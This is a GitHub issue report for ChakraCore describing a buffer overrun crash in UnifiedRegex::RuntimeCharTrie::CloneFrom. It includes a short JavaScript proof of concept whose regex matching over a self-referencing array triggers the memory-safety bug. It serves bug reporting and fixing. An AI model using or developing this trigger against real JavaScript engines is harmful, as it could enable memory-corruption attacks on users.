chakra-core / chakra-core/ChakraCore
Crash due to buffer overrun in UnifiedRegex::RuntimeCharTrie::CloneFrom
- Dominant language
- JavaScript
- Stars
- 9.3k
- Forks
- 1.2k
- PR merge metrics
- No merged PRs in 30d
Description
The debug and release build of Chakracore crashes
PoC:
```
var dnaInput = ">ONE Homo sapiens alu\n\
GGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGA\n\
TCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACT\n\
gagatacctttgcaattttt\n";
dnaInput = dnaInput + dnaInput + dnaInput + dnaInput + dnaInput + dnaInput;
dnaInput += dnaInput + dnaInput + dnaInput + dnaInput + dnaInput + dnaInput;
dnaInput += dnaInput + dnaInput + dnaInput + dnaInput + dnaInput + dnaInput;
dnaInput += dnaInput + dnaInput + dnaInput + dnaInput + dnaInput + dnaInput;
var ilen,
seqs = [/agggtaaa|tttaccct/ig, /[cgt]gggtaaa|tttaccc[acg]/ig, /a[act]ggtaaa|tttacc[agt]t/ig, /ag[act]gtaaa|tttac[agt]ct/ig, /agg[act]taaa|ttta[agt]cct/ig, /aggg[acg]aaa|ttt[cgt]ccct/ig, /agggt[cgt]aa|tt[acg]accct/ig, /agggta[cgt]a|t[acg]taccct/ig, /agggtaa[cgt]|[acg]ttaccct/ig]
seqs.push(dnaInput, seqs)
var dnaOutputString = '';
for (i in seqs) {
dnaOutputString += seqs[i].source + (dnaInput.match(seqs[i]) || [])
}
```
Version= v1.11.12 and `e79d68a` on master branch
OS=Ubuntu 16.04.6
Arch=x86_64
Contributor guide
Assessment
This issue has not been assessed yet.